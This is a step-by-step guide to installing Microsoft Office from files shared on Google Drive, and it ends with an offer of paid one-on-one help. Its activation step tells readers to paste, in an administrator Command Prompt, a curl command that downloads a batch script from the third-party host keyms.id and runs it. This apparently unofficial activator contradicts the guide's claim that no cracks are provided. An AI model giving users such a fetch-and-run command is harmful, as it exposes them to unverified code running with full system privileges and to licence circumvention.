1 Before You Begin

Important Notes

- Your PC or laptop **MUST be connected to the internet** during the entire process.
- This guide assumes you have already downloaded the necessary files from my Google Drive link. The exact link will be provided separately.
- **No product keys, cracks, or illegal software are provided.** Only use commands that you have legitimately obtained.
- If you need personal assistance, I offer one-on-one help for a small fee (see Section 6).

2 Step 1: Download the Files from Google Drive

1. Open the Google Drive Link

1. Click on the Google Drive URL below:

Open Google Drive Folder

2. It will open in your web browser showing two files.
3. Click on each file to download them safely.
4. **Remember the location** where you save the files (e.g., the Downloads folder).

3 Step 2: Create the “Office” Folder

2. Organise Your Files

1. Open **File Explorer** and go to the location where you want to create the folder (Desktop or Documents recommended).
2. Right-click in an empty space → **New** → **Folder**.
3. Name the folder exactly: **Office**
4. **Move the two downloaded files** into this Office folder.

4 Step 3: Open Command Prompt Inside the Office Folder

3. Launch CMD from the Address Bar

1. Open the **Office** folder you just created.
2. Click once on the **address bar** at the top of File Explorer (the bar that shows the folder path).
3. Delete any text already there, then type: `cmd`
4. Press **Enter**. A black terminal window (Command Prompt) will open, and the path

will already point to your Office folder.

5 Step 4: Run the Installation Command

4. Install Office

1. In the Command Prompt window, copy and paste the following command:

```
setup /configure configuration.xml
```

2. Press **Enter** to execute the command.
3. The installation will begin. This may take several minutes. **Do not close the CMD window** until it finishes.

Note: The internet connection must remain active during this step.

6 Step 5: Activate Office

5. Activate Your Office

1. **Open Command Prompt as Administrator:**

- Press the Windows key, type `cmd`, right-click on **Command Prompt**, and select **Run as administrator**.

2. In the administrator CMD window, copy and paste the following activation command:

```
curl -L keyms.id/aso -o aso.cmd aso.cmd
```

3. Press **Enter** and wait for the confirmation message.
4. Once you see a success message, Office is fully activated.

7 Step 6: Need Personal Help?

I'm Here to Assist

If any step was confusing or you ran into an error, I am available for one-on-one support. I charge a **small, affordable fee** for my time.

- **Direct Message on LinkedIn:** Send me a message on LinkedIn
- **Contact via Portfolio Website:** Write me on my website
- **Email:** arhinfulaugustine296@gmail.com

Simply send me a message, and we will schedule a quick session to get everything working

perfectly.
